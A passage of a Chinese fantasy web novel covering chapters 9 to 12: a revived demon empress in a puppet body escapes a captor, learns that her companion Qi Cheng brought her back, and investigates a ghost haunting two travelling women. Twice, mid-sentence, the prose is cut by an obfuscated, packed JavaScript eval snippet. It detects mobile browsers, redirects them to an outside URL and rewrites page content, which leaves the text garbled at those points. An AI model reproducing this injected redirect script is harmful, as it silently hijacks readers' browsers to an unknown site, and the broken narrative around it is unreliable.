这是萧老将军亲自为齐御讨的差事,作为萧家的女婿,怎能没点本事。 二人驻守边关五年,传出来的都是夫妻恩爱的消息与赫赫的战功,这也让萧老将军安心了不少。 而事实于齐御来说却是悲哀,既没有什么夫妻恩爱,也没有什么赫赫战功。 成婚两年,萧梦姜渐渐发现齐御此人跟自己婚前看到的忧国忧民的公子完全不一样,可以说比京城那些不学无术的世家子强不了多少,就连对她的体贴周到都是之前装出来的。 可她并未时常埋怨,只是不再同之前那般亲热了,只是将自己的热情转而寄托于战场上的拼杀。 萧伊歌,也就是阿汗儿·巴雅尔,就是萧梦姜在战场边救下来的,当时的巴雅尔不喜说话,却喜欢唱歌,也从未说过自己的名字,所以萧梦姜给她起了萧伊歌这个名字。 当萧梦姜在战场上的英勇与齐御的连连失利形成鲜明的对比,军营中开始有了其他的声音。 齐御的脸色一天天变差,他甚至开始嫉妒他的妻子,也曾怂恿过几个将士反对女子上战场,可都是徒劳。于是他开始整日躲在自己的营帐中,不听不闻。 “那是你懦弱,没本事,既然没本事当年就不要求娶萧姐姐!”争吵的声音一声压一声得高。 “你以为本王想娶吗?若不是因为当年六神使......”仿佛想到了什么,齐御赶尽住了嘴。 “与六神使有关?齐御,为了你那点点所剩无几的皇家骄傲。真的是什么理由都能想得出来啊!”他不肯说,那便逼他说。 “哼,告诉你也无妨,侍神殿的人你也动不了,就算你今天杀了我,还是有根刺会扎在你心里。” 壬湮看着眼前这些恩恩怨怨突然觉得凡世人真的是复杂。 “你知道当年顺帝是听了谁的话才给萧家安上谋反的罪名吗?” “不会就是你说的六神使吧。” “不是他们还能有谁呢!” “永昼城百年来一直是皇室和侍神殿共同掌管,皇室掌管世俗事务,侍神殿从不过问。可最近百年来漠北人多次在边境挑事,萧家主战,而侍神殿却站出来主和,说是不能打破这几百年的平衡。” “那后来呢?”这是壬湮问的,侍神殿?她有点感兴趣了。 “皇室自然更站萧家,他们早就想一统东遗大陆了。可这样侍神殿便不满意了,于是他们开始处处想要伸手干预。可是前朝跟齐氏不同,他们文有卢氏,武有萧家,背后还有老太后的势力万君山,如何能左右得了。” “他们便想借你从萧家下手?” “没错。” “萧家的布防图也是你泄露的。”肯定的语气。 “只是,你们齐家真的觉得如今的生活比以前更好吗?”这话是巴雅尔问的。 齐御并未回答,但是却已经有了答案,以前虽然权力更少,但至少他是开心自由的。 他想起年少时母妃曾问他想要娶一个什么样的女子,他回答想娶一个温柔贤淑的女子,与她举案齐眉。 可就在他答应父皇求娶萧氏女的时候,就注定了他不会 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而后是良久的沉默。 眼见他们没有要离开意思,壬湮用眼神询问着戚呈有几成把握从这儿出去,对方安抚性地捏捏她的手心。 壬湮这才发现二人的手居然还握在一起,虽然话本子上没有讲凡世的兄妹怎么相处,但时时牵手着实有些麻烦啊! “我记得你们两个,戚氏镖局。”巴雅尔先开了口。 废话,你又没失忆。 壬湮没有出声,只是静静地看着她,等待她接下来的话,并在心中计划着接下来逃跑的路线。 至于打架就交给戚呈了,自己现在的身子估计扇对方一巴掌自己都得摔个趔趄。 “说来这趟大靖之行还要感谢戚氏镖局。” “但我们好像并未帮上多大的忙。”他们运过去的货物好像跟萧家幼子萧赭一起被扣押了,看来是场无用功。 “只是我有些好奇,当日这位先生给我的木雕明明与今晚的一样,但我们拿到的货却不是这种。”接货的时候他们也反复核实过,应该不会错。 巴雅尔略一低头,调整了下情绪,“本来是想请你们把真货运来的,但是萧赭把边出了岔子,我在路上又遇到了齐御的埋伏,正巧遇上了你们。所以干脆将计就计传消息给定沙城换货,假货与萧赭被抓,正好打消了侍神殿那边的疑虑,今晚才能成功。” “然后你再返回定沙城将真货伪装成嫁妆运过来。”巴雅尔勉强地笑笑算是肯定。 “郭信和冯康是你杀的?”壬湮问出了她今晚最想问的问题,虽然她不知道现在的六神使实力怎么样,但能在新年夜杀死其中之一也是不小的本事。 “冯康是姓廖的杀的,他当年是围攻萧家的主力,有心想赎点罪。但郭信不是我们杀的。”廖叔应该就是站在她身后的黑衣男子。 “难道真是萧赭杀的?”确实令人难以置信。 “是他。郭信平日里行迹放荡,目中无人,也是六神使中唯一知道真实身份的一个,从他下手是个最好的选择。” 没有一个是无辜的,只是,“今天要对不起你们两个了。” 9. 女将军(九) “只是,今天要对不起你们两个了。” 说话间,外边的侍卫已经来到了屋内,人不多,只有六个,应当是巴雅尔害怕调走太多人被皇室警觉。 巴雅尔一下令,几个侍卫便同戚呈缠斗在了一起。戚呈出门未带武器,只随手捡了根断掉的木头桌腿,一边护着身后的壬湮,一边应付着几个人的进攻。 壬湮躲在戚呈身后,只能躲躲侧面过来的攻击,尽量不拖戚呈的后腿。 饶是如此,戚呈仍未落下风,甚至隐隐有要压着对方打的趋势, “砰”,一个从侧面过来想要抓壬湮的侍卫被戚呈一棍子敲到了旁边的柱子上,已然直不起身子了。转手又敲在一个人的太阳穴上,那人往后倒去,压着他身后的兄弟也跟着猝不及防地向后倒下。 场面一下子乱了,局势逆转。 一时间几个人没再上前,壬湮站在戚呈身后一直看着巴雅尔和黑衣人的方向,她能看得出这个黑衣人想过来帮忙但又有所顾虑。 “这位先生不要忘记和我们还有交易未完成。”黑衣人往前挪动了一步便不再动了,看上去有些艰难,他甚至仿佛感觉到壬湮刚才看自己的那眼带着威压,像正在被一个上位者盯着一般。 壬湮同时也发现了,他的腿,有问题。 但现在没有时间去细想这些,既然他放弃了过来帮忙,那就只剩下巴雅尔了。 果然,巴雅尔冲着她来了,剩下的侍卫也一同向戚呈重新发起了攻击。两方前后夹击都已经到了眼前,壬湮突然停止了抵抗动作。 她在找,她在对准巴雅尔的眼睛,与此同时戚呈已经一棍扫退众人,又将巴雅尔一掌拍出几步远。 黑衣人见状赶紧让黑雾过去接住了巴雅尔,刚刚黑雾一直躲在角落里没有加入,看来它的主人是黑衣人。 壬湮朝巴雅尔的眼睛看去,已然呆滞,成功了。趁着这个功夫,她赶紧拉着戚呈离开了这间屋子,辨认着方向朝城区的跑去。 城门近了,原来刚才他们都已经在城外了。 壬湮慢慢停了下来,因为她的身体已经到了极限,太累了。 “哥哥……”还是有些难为情的。 戚呈看着她,显然已经明白了,并未再让她说下去,随即撩了下衣摆蹲了下来。 “上来吧。”仅仅就难为情了一下,壬湮就趴到了面前宽阔的背上,从来没被男子背过,就连甲纥也没有。 感觉,还不错,至少解放了双腿。 因为几个时辰前城内主街刚刚发生了鬼将一事,所以城门口处进出都盘查得极为严格。 在对壬湮二人多番盘问后,城门守卫眼光异样地看着壬湮,着实让她很不舒服,在她快要不耐烦的时候,戚呈终于背着她重新出发了。 “这姑娘都这么大了,还让自家哥哥背着真是……”壬湮听到背后的侍卫小声道。 壬湮扭着脖子朝后方瞪了一眼,真是什么,说清楚,她可还听得见! 那侍卫见壬湮回头,悻悻地闭了嘴。永昼城的侍卫舌头这么长吗,这要是在永夜城,舌头都不知道被割掉多少个了。 壬湮趴在戚呈的背上睡意渐起,今天这么累身子弱是一方面,主要是刚刚她又一次动用了魇之右瞳,消耗过大,她得休息了。 还好这次没有让她失望,她的绝杀计还是有效的,不然她如今真就是一个废物了。 “父亲,阿兄,你们去哪儿?你们带上我啊!”一个满身脏兮兮的孩童用稚嫩的童音呼喊着,直到声音变哑,前面的身影也未曾停下。 她被放弃了,就在敌人攻打过来的时候,他们放弃了她这个累赘。 而这个小女孩就是阿汗儿·巴雅尔,这是她的噩梦。 壬湮对她用了魇之右瞳。 看着瘦小一团的巴雅尔,怪不得当时齐御没有认出她来,换做是自己,估计也难。 就这样她在漠北一直流浪,直到跟着流民一起到了边境,遇到了萧梦姜,有了新名字——萧伊歌。 “萧姐姐,让我和你一起去,我不怕。”画面一转,已是多年后。萧伊歌已经长大,逐渐有了如今漠北公主的模样。 “不,伊歌,此去状况不知,你先去漠北境内等我。”壬湮在萧伊歌的梦境中终于见到了萧梦姜,不似她想象中的星眉剑目,英气中多了些女子的温婉,着一身戎装,头发高束,是“女将军”木雕的形象。 “萧姐姐,萧家这么强大,一定会没事对吗?”萧伊歌焦急的想要得到一个确认。 “会没事的,乖伊歌,你只需要等我回来。”尽管能看得出萧梦姜的愁容,但她仍挤出笑容安慰着萧伊歌。 “萧姐姐,萧伯父真的……” “不可能!我父亲一向忠心卫国,不可能谋反的!”话还没问出,就得到了萧梦姜斩钉截铁的回答。 “萧姐姐,你不要着急,我肯定也是相信萧伯父。”萧伊歌看着重新挂上愁容的萧梦姜只觉得更加难过,她才十二岁,不过是所有人眼中一个未长大的孩子,什么也做不了。 “伊歌,伴君如伴虎,萧家走到如今这步定是碍了谁的眼,挡了谁的路,所有的功劳苦劳都抵不过一个功高盖主啊。” “哎……” 那晚她听到萧姐姐叹了不知多少次,仿佛将一生的哀愁都诉尽了。 “萧姐姐!不!不!萧姐姐!”再次见到萧梦姜,是萧伊歌最绝望的时候。 她没有听萧姐姐的话去往漠北躲起来,而是在大军离开边境的之后,偷偷来了奉城,萧家军队在此驻扎。 躲在城楼上的她亲眼目睹了萧姐姐以一人之力杀掉了齐径,齐家长子,也就是齐御的长兄。 然而,萧梦姜还是败了,一支支箭射穿了护甲,射穿了萧梦姜的身体,也射穿了萧伊歌活下去的心。 她只想马上冲下城楼去接住萧姐姐,若她刚才早下去一刻,说不定就可以代替萧姐姐,留下萧姐姐。 然而,迟了。 萧梦姜败了,萧家也败了。 萧伊歌瞬间觉得自己也同萧姐姐一起死了。 她的脑海里只剩下萧姐姐死去的惨状和冯康那恶心的笑 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而前几日被抓的萧赭,虽未做下实质性罪行,但其住处搜出大批“女将军”木雕,仍有同谋嫌疑。 但念其为萧氏最后血脉,也彰显新朝的仁政,只发配其前往神坑思过。 此消息传到戚宅时,壬湮还刚刚醒来,只觉得浑身爽利。 听镖局掌柜的通传有人来风穴找她,便知是那晚的黑衣人。 这次见面二人又达成了一笔交易,壬湮得到了一个更为重要的消息,鲛人族下任新皇是携着魇之左瞳和流光珠失踪的,黑衣人最近一次有打探到他的下落是在神坑附近,而黑衣人的交易条件就是需要戚氏镖局暗中护送萧赭安全到达深坑。 于壬湮而言,是一举双得的买卖,只是怎样说服戚呈又是一件难事。 没想到戚呈这次答应得也很快,着实惊讶到了壬湮,这妹控确实有点严重。 离萧赭被押往神坑还有几日的时间,壬湮闲来无事便在永昼城内逛了逛,就是戚呈非常执着地陪着自己,倒是让她有些不自在。 这不逛着逛着,对面就有两位打扮艳丽,却姿态忸怩的两个姑娘迎了上来。 “戚公子,好巧啊!” 不是很巧吧,壬湮从转过这条街开始就看见两人一直偷偷朝这边看,待他们走近了才迎上来。 而戚呈只是随意一点头。 戚家的两位儿郎在永昼城也是有点小名气的,一个是高岭之花,一个是花丛浪客,有女子主动上来搭话也是时有的事儿。 今日这两位让壬湮印象深刻是因为,她们问及到了自己,在知晓壬湮是戚呈的妹妹后,发出了疑问。 “可,未曾听说戚家有个小女儿啊?” 没人看见戚呈的眼神儿闪了闪,随即恢复镇静,“家妹幼时体弱,一直在家娇养,未曾对外宣扬。” 理由合情合理,壬湮当时未再深究。 可是接下来这件事却让她不禁怀疑起了她,不,戚明烟和戚呈的身份。 10. 神女相(一) 在出发前往神坑的前几日,戚呈带壬湮去了一个酒庄,此酒庄名为“拂山风”,能看得出酒庄主人的洒脱心境。 但戚呈却不是带她来买酒的,据戚呈说,此山庄可以租异士,去完成一些普通人做不了的事情,而戚家这么多年就一直在和此酒庄合作。 酒庄位置有些偏,已经是在西市的最西南角了,越往这个方向走人也越来越少,一个酒庄建在这里难道不会不方便吗? 进入酒庄内,掌柜的未多说两句话就将二人带入了里屋,并对二人说需要等待片刻。 身侧的戚呈最近话愈发的少了,不知怎么扯开话题的壬湮也干脆没有张嘴。 待到一个身穿红裳,未束发,发丝散乱,且脸颊飞红的女子摇摇晃晃地出现在两人对面,壬湮才知道为什么要多等片刻了。 “嗝……咳,咳咳,又带她来了啊?”红衣女显然是被口水呛了一下,也难为她,醉成这样还要出来接待他们。 红衣女往前探了探,可能是想要看清楚壬湮的样貌,奈何这满头乱发挡住了视线,便随手往脸庞一扒拉。 就是这一个动作过后,却听见了两个人的抽气声。 “嘶,厉害啊,属这次最像了!” 嘶,是胡符女,她在鬼域时手下唯一的女魔将! 怎的沦落到整日喝酒买醉,一瞬间壬湮突然觉得很对不起这些跟随自己的将士,若她甘愿待在鬼域,大家说不定都还是肆意张扬的样子。 可是,如果她能甘心,怎么能坐上女帝的位置,估计已经被踩在鬼域的泥沼里,腐烂变臭了。 “你喝醉了。”是戚呈的声音,他招了招旁边的掌柜,将自家主子扶正一些。 “醉了,醉了也不会看错的,像,像,像!”连说了三个像,果然,她也认出了壬湮。 “像什么?”明知故问。 “自然是像……”突然没了声音,胡符女发现戚呈在盯着自己。瞬间酒也醒了大半。 “哦,我刚刚说醉话呢!你看我,在贵客面前静说些胡话了。” “福顺,带戚公子和……呃,戚小姐去挑挑异士吧。” 很明显异士已经不如胡符女更吸引壬湮了,但还是跟着掌柜去看了空闲异士的牌子。 不知戚呈是否知道胡符女的真实身份,现在还不能挑明。 借着戚呈去交代任务的功夫,壬湮又偷偷就回刚刚的屋子,但胡符女早已不在。 “你,是在……在找我吗?”一个略带结巴女声响起。 壬湮转身看去,“是啊,不知掌柜可否告知刚才的话是什么意思?” 壬湮尽量装出不认识她的样子,一是不知她现在是否还忠于自己,二是或许可以套到她和戚呈的秘密。 胡符女盯了壬湮一会儿,发现她的举止模样虽都像女帝,却也不同。 女帝自带威严,阴晴不定,有时温柔得让你觉得可以以下犯上,有时残暴得让你觉得下一刻脑袋就要搬家。 “告诉你也无妨,反正是个人偶,估计明天你就不记得了。” “带你来的那个男人,每隔一段时间都要带一个像你这样的人偶来我这儿,问我雕得像不像。” “像什么?”又一次明知故问。 “不过这次确实比上几次像了许多,眼神儿像了,不过这脸太嫩了,我们女帝那么霸气,起码得……得再帅一点才行,嗝。”这酒气把壬湮逼得往后退了一步,这胡符女真是醉了,根本不管你问什么,只管说她自己的。 “不过嘛,这次雕的倒是行动挺流畅啊!”说着还上手捏了捏壬湮的胳膊。 不过有用信息还是有的:戚呈,人偶! “戚呈是谁?” “他自然是……” “你们在干什么?”一道男声插了进来,差一点点。 壬湮没有看向戚呈,仍然看着面前的胡符女,她在等待答案。 可这一声让胡符女刚才醒了一半的酒彻底醒了,现在她清楚地看着眼前盯住自己的女子,眼神那样熟悉。 难道…… “难道,是真的?”心跳加速,答案就在嘴边。 “难道您成功了!”第一遍不确定,第二遍两人的态度说明了一切。 只见胡符女猛的单膝跪于壬湮身前,“女帝,六百年了,您终于回来了!” 从酒庄出来时,已是黄昏时分。壬湮才知道鬼域如今的统治者是赤癸帝,当年那个幼小的孩子都已经坐上了魔尊的位子了。 二人都没有说话,且一路上戚呈的眼神都在刻意躲避,一直走到一处行人较少的桥边。 黑漆漆的天幕已经笼罩了下来,街边的店铺也陆陆续续地关了门,周围安静了下来。 “我在鬼域没有见过你。”肯定的语气,所以为什么做这一切,复活她。 “所以,是你,对吗?”第二句是疑问,她不确定戚呈是否是受了故人的委托,但从刚刚胡符女说的话来看,应该是他所为。 “是我。” “为什么?” “我仰慕你。”干脆利落地回答,戚呈已经在心中预演了不知多少遍。 “你仰慕壬湮?”鬼域中当年仰慕壬湮女帝的魔修不知凡几,甚至包括女魔修,逐强是他们的共性。 “我仰慕你。”不是壬湮女帝,而是真正的你。 后一句戚呈没有说出口。 “那你是怎么做到的?”就连做过鬼域女帝的她,都不曾见过让人起死回生的术法。 “一种秘术,可以将魂魄复生于人偶中。”简短一句话,未说其中艰辛。 “也就是说,我现在是一具人偶?”说着为了验证,壬湮掏出匕首朝自己的胳膊划了一道,伤口的疼痛感让她握紧了左手。戚呈在一边看着,却未来得及阻止。 果然,没有流血,和在天阙山一样的情况。 戚呈悄悄观察着壬湮的神色,虽然面上不显,但内心还是忐忑地等待着她的反应。 还好壬湮并没有纠结太久,人偶身体而已,没有成为女帝前,还有更差的容身处她也待过。 “你复活我,到底有什么目的,我现在可不是那个能调动百万魔将的女帝了。”壬湮直视着戚呈的双眼,这次他的眼神未再躲避。 一个在六百年后仍然要复活自己的魔修,壬湮不相信仅仅是倾慕而已。 “真的没有目的,如果需要一个目的的话,就是我想看看活着的你。”仔细听其中还有一丝丝的委屈。 实在是太久了,她离开太久了,不过好在还是成功了。 壬湮突然看不懂他眼神中的情绪,也许是思念,也许是真挚。 太过复杂,她看不懂。 但她能看得懂他的眼中已经起了水雾,壬湮感觉若是自己说不相信他,下一秒这个平日里光风霁月的男子得当街痛哭,那也太丢脸了。 陷在自己情绪中的戚呈并不知道自己在壬湮心中已经从谪仙般的人儿变为丢脸的人了,除了幼时被逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778898|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着流过眼泪,他还没有在除壬湮之外的人面前露出过这样的情绪。 “你如今在鬼域,是什么身份?”壬湮已经转了话题。 “只是一个普通的魔修。”声音已经恢复了清冷。 壬湮觉得他在拿自己当傻子,不过既然他不想说应该是问不出来的,以后他想解释了自然会说,就像今天主动带自己去“拂山风”一样。 “那,戚家的身份也是假的?”壬湮还是留意了那两个女子的话,若身份是假的,日后被拆穿还是有许多不便的。 “戚呈是真的,戚明烟是假的。”果然。 不过,“还是要谢谢你,只不过你的仰慕我可能给不了回应。”许多魔修利益至上,更想分享她的权力。 戚呈看着眼前的人,嘴角扯出一个淡淡的笑容,似严寒冬日里墙角开出的一朵绿梅,清冷中抚慰人心。 没关系,这样已经很好了。 壬湮自己可能不记得了,鬼域中的许多回,她也是这样温柔地拒绝那些仰慕她的人。 仿佛回到了以前的日子,人人都说壬湮女帝性格乖张、阴晴不定,只有他知道她骨子里的温柔。 最后,二人达成了协议。 虽然戚呈是魔修,但是二人还不能回鬼域,那边的情况不明,对如今的壬湮来说,凡世更安全一些。 壬湮决定继续用戚明烟的身份行事,借机寻找魇之左瞳的下落,戚呈仍然扮作她的哥哥。 说起这当人妹妹,壬湮作为鬼域苍君帝的第二个孩子,却排行第九。 只因父亲收养了七个孩子,当年的十魔子只有老大甲纥、壬湮和最小的赤癸是亲生的。 甲纥和壬湮一母同胞,而赤癸确是半人半魔,所以年幼时的壬湮最是看不起赤癸。 壬湮除了和同为女魔修的八姐素辛亲近些之外,便就是和大哥甲纥最亲近,但甲纥年长她许多,苍君帝又常年不在永夜城,所以比起做兄长,甲纥更像是父亲般。他还在时,壬湮对他更多的是敬重和依赖。 鬼域和凡世不同,戚呈和甲纥不同,壬湮决定好好学一下怎样做妹妹。 于是,有了以下画面。 “哥哥,今天人家喜欢上了一个手镯,人家真的好喜欢,买给人家好不好。” 戚呈哪儿见过这样的壬湮,自然是好好好。 “这是小姐今天跟着霍家小姐学的。”暗卫向戚呈交代道。 “哥哥,来尝尝妹妹的手艺。” 戚呈看着盘子里发焦的糕点有些无奈,但还是吃了下去。 “这是小姐和赵家小姐学的。”暗卫的声音已经没有方才大了。 “兄长。”接着是长久的沉默。 戚呈看了眼暗卫:这也是学的?怎么比原来还冷漠。 “这是小姐和隔壁柳家小姐学的。” 隔壁?戚呈默默记下了,看来戚家需要搬次家了。 “哥哥,今日这些账目必须得看完。”说着让管家搬来一摞账本。 “这是小姐和李家小姐学的。”据说他家的长子很不成器。 最后,不光戚呈,暗卫都有些麻木了。 “好了,今天就到此为止吧。”壬湮甩甩袖子回了自己的小院,真是比和神域打架都要累,不过看反应,和戚呈相处应该用撒娇和温柔模式没错了,也算是有所收获。 而前厅中徒留下戚呈看着一桌子账本微微叹气,嘴角却染上了笑意。 她在的日子,总是这般美好。 11. 神女相(二) 出发去神坑那天,壬湮远远看见被押送的萧赭,一个与巴雅尔差不多大的男子,手戴镣铐。面容有些消沉却不显潦草,穿着一身藏蓝色衣衫,不华丽却干净整洁,不难看出城主府并没有太为难他。 戚呈已经在路上安排了异士,所以二人只在后方慢慢地跟着。 壬湮看着马车中闭目养神的戚呈,她之前确实没有见过他,至少没有打过交道。 虽然鬼域之大,魔修之多,她不可能每个人都记得,但戚呈这种与鬼域风格格格不入的魔修,她不可能没印象。 “戚公子?真的是你们。”出城门时,一个女声中透着惊喜。 不一会儿,一辆马车穿过城门追上了他们,壬湮撩起车帘的一角向外看了一眼,对面也是撩起车帘朝这边看来。 壬湮认得这个女子,是那天街市上遇到的两个女子其中之一,应该是叫高采漪。 “原来是戚小姐,不知戚公子可否与你同行?”三句不离戚呈。 “哥哥自然与我一道,只是他在休息,不知高小姐有何事?”仔细一看,对面高采漪虽然声音中气十足,但是眼下却有一片青黑,看来最近有事困扰,睡得不好。 “不……不必麻烦了,不打扰戚公子休息了,不知戚小姐你们是要去往哪里?”高家小姐相比刚才倒更加紧张了些。 “莒县,你还是打扰到我了。”这次回答的是戚呈,壬湮转头看他不知何时已经睁开了双眼,右手穿过她身侧将车帘放了下来。 “那,那不打扰戚公子了。”高采漪的最后一句话穿过车帘传到两人耳中,然后周围又静了下来。 天黑之前戚家马车停在了莒县的一家客栈外,不成想两人刚坐下准备用晚饭时,又遇到了高采漪,确切地说还有当日遇到的另一个女子,名叫于雪。 只是今日她一直在马车内未出声搭话,有些奇怪,毕竟当日她可是比高采漪还要健谈上一些。 “戚公子,好巧啊,我们又遇到了。”壬湮看着高采漪挤出比花儿还灿烂的笑容,怕不是一路跟着过来的。 “我和小雪要回邑城高家,所以恰巧经过莒县。”像是怕他们误会又有些多此一举。 见戚呈并没有要回应她的意思,便又转向壬湮的方向,“戚小姐,既然咱们能遇到也是缘分,不如一桌用饭如何?” 还未等壬湮回答,戚呈的声音又插了进来,“怕是不方便。” “店家,麻烦一会儿把东西送到我们房间吧,有劳了。”说着未看其他两人,径直拉着壬湮上了楼。 待二人在戚呈房间用晚膳时,壬湮忍不住说到,“有没有发现那个于雪有些奇怪,好似有些失魂。”确实奇怪,今日见了戚呈居然一句话也未说。 不像是生病,细看之下两眼无神,可以说是不似活人。 “今日为什么没叫哥哥呢?” “是吧。” “什么?”壬湮瞪着一旁的戚呈,差点被一口饭噎到,重点是这么抓的吗? 入夜时分,壬湮已经在自己屋内歇下。 “叩叩叩”,敲门声不大,不似自己的屋子,应是隔壁屋。 “叩叩叩”“叩叩叩”。 就在壬湮快要忍不了的时候,敲门声停了。 可没过多久敲门声就变成了一声声,“高采漪”“高采漪”,听声音应该是于雪,不知为何这于雪白日里不吭声,晚上却一声急于一声。 “高采漪,采漪。”已经有十多声了。开始还声音细微,收敛着,后来好似恼了,声音渐渐高了起来,扰到了其他的住客。 “谁啊,这么讨厌,大晚上的还让不让人睡了。”与此同时壬湮也开了门出来查看,却未看到于雪的身影,也未听到开关门的声音。 在屋外等了一会儿,见未再有情况,便就都回了屋内。 一夜无眠。 第二日,在高采漪厚着脸皮的坚持下,四人一道出发。 只是壬湮观高采漪眼下的漆黑越累越浓,人也不如刚遇见时那般叽叽喳喳能对着戚呈连说上好几句。看来昨晚又是未能睡好,难道是于雪昨夜与她彻夜长谈了吗? 可再看于雪,仍是精神恍惚,不似能彻夜长谈之人。 “高小姐,你还好吗?发生什么事情了吗?” 见壬湮问的是自己,而不是于雪,高采漪略微惊讶了一些,随即朝于雪的方向看了一眼,但马上躲闪了一下。 “我还好,没什么事情,谢谢戚……呃,戚小姐关心了。”勉强地朝壬湮扯出一个不算特别好看的笑容,甚至一时间忘记了戚明烟的名字。 见高采漪并不想说,壬湮也没有再问,兀自摇了摇头,这两人可真是奇怪。 壬湮未再执着于搞清楚两人的情况,转而看向身旁的戚呈,“萧赭那边怎么样了?” “还未出状况,只是暗中观察的人传消息说还有另一批人也在暗中跟随着押送的队伍。” “另一批人?知道是什么人?” “还不确定,但可以确定他们路程的前半段路程应该不会动手的。” “目的不明,还是小心为好。” 赶了一日的路,日落前却未能赶到下一个城池,无奈几人只好在野外露宿一晚。 今日于雪同样未说几句话,就连饭也未吃几口便进了帐篷。许是昨晚未休息好,高采漪也早早歇下了,只是一向要好的姐妹二人居然没有同住。 一边的戚呈好似不曾察觉二人的不同一般,悠然地做着自己的事情,壬湮觉得他们这一路同行人氛围真是怪急了。 又是夜里,壬湮忍不住静音去听外边的声音。果然,没过一会儿于雪的声音又响了起来,“高采漪,高采漪。”今晚她好像没了昨晚在客栈的诸多顾忌,声音比昨日高了不少,也清晰了不少。 “高采漪,采漪呀!”语调亲昵,语气却更像诱哄,不似表姐妹间正常的语气。 壬湮这次没有直接出去,怕惊动了外边的人,轻挑起帐篷的一角朝外看去。壬湮旁边的帐篷就是高采漪的,再往那边是于雪的。 但目光所及之处,什么都没有。没有于雪,也没有高采漪。 真是奇怪,壬湮干脆挑了帐篷布帘出去一看,同昨晚一样,哪有什么人影。 随后壬湮看了眼于雪的帐篷慢慢走了过去,“于雪,于雪你睡了吗?”象征性地问了一声,果然没人回应,壬湮便轻轻掀开帘子的一角朝里面看了一眼,一个被子盖到肩膀的背影朝向这边,应当是于雪。 见此,壬湮转身往回走,经过高采薇的帐篷时,同样也叫了一声,“高采薇?”同样没有得到回应。 不过壬湮没有去掀帐篷,因为她听到了里边有窸窸窣窣的声音,高采漪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778899|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未睡,这也可能是她这几晚没有睡好的原因,只不过她未说话,壬湮也不好进去问个究竟。 第二日几人拖到日上三竿仍未出发,起因是高采漪过了辰时仍未有要起身出发的意思,壬湮便委托看上去有些精神的于雪去叫她起床。 只是没出半刻钟,于雪居然让比她还要瘦小些的高采漪给打了出来。 安抚着情绪激烈的高采漪,壬湮看向刚被高采漪挠了几下的于雪,除了处理伤口时看了几眼伤口,她的脸上居然都没有露出疼痛或者愤怒的表情,她现在显然已经不太正常了。 “高小姐,到底发生什么事情了?”壬湮发出了和昨天一样的疑问。 “我……我们遇到了奇怪的事情。”待高采漪平复了心情,终于决定将发生的事情说出来。 “父亲半月前书信与我,让我返回邑城高家,表妹是陪我一同回去的。只是临出发前一晚,雪儿突然来房间找我说是最近晚上总是听到有人唤她的名字,她害怕得很,想要同我一起睡,我自然是答应了。” “然后呢?”壬湮示意她继续说。 “然后,晚上我也听到了那个声音,声音由小变大,由远及近,最后仿佛是贴在耳后说话一样。”高采漪回忆着每晚在自己耳边的声音忍不住打了个寒战。 “只叫名字,未说别的?” “是的,只叫雪儿的名字。” “那有何可怕。” “一开始我也是这样认为的,我比雪儿年级长些,胆子也比她大些。那晚我就让她回了一句,‘是又怎样,你有本事出来一见。‘然后……” 说到这儿,高采漪又是调整了一下情绪,继续道,“它回了一句。‘你终于回答了,桀桀桀。’第二天我们就去告诉了舅舅,可大家都以为我们在开玩笑,舅妈也和我们一起待了一晚,什么事情也没有发生,我俩也以为是自己吓自己出现了幻觉。” “那于雪是什么时候变成这样的?” “出发的那日,也就是我们在城门口遇见的那日,雪儿早晨起来说不太舒服,本想再拖一日出发,可雪儿坚持说自己没什么大问题。现在想来,我们应该是被不干净的东西缠上了。呜呜呜呜呜,怎么办啊,是我害了雪儿。”说着说着高采漪的情绪再也稳不住了,痛哭起来,有恐惧害怕,也有愧疚。 “她又是何时开始这样的?”高采漪知道壬湮是在问于雪何时晚上开始叫她的名字的,其实昨晚壬湮叫她的那一声她听到了。 只是她不敢回答,她不敢确定叫她的究竟是什么东西,但她肯定的是,于雪是因为回答了才变成如今这样的。 “前天晚上刚刚开始的。”就是和壬湮他们住同一家客栈那晚。 “昨日问你,为何不说?” 高采漪为难地一抽噎,“说出来你们肯定不会信的,所以只好打搅你们,跟你们同行了。” 原来同行是为了这个,壬湮还以为她是为了戚呈呢。 想到戚呈,壬湮看向一早晨未说话,存在感比于雪还低的戚呈,戚呈见她看向自己也柔柔地回望。 壬湮又冲他摇摇头,戚呈明白她的意思,这种东西她在鬼域中没见过,她是在问自己见过没有。 高采漪还在抹泪后怕,未曾注意到二人的眼神交流。 “是盗名鬼。”清冷的男声,出声的自然是戚呈。 12. 神女相(三) “盗名鬼?”除了神志不清醒的于雪,剩下的二人同时看向戚呈。 “不过是种会些小把戏的小鬼儿而已。”淡淡的语气好像是在说一只小蚂蚁。 高采漪顿时睁大了眼睛,比平日里略大的眼白显得眼下的乌青更甚,“也就是说,戚公子你有办法吗?” “没有。” 只见高采漪瞬间萎靡,是啊,大家都是凡人,就算戚呈再厉害又怎么能对付得了鬼怪呢。 “只是这东西不会无缘无故地缠上一个人,一般只会徘徊在死前最后待的地方。” “死前最后待的地方?高小姐,你们在离开永昼城之前可曾去过不经常去的地方吗?”唯有不经常去的地方才有可能惹上这东西。 “不经常去的地方?最近我和雪儿就是逛逛街市,去听听戏……对了,离开永昼城之前的一天我们去了一趟神女庙。”说着高采漪往戚呈的方向前移了一步,戚呈接着朝壬湮的方向移了三步。 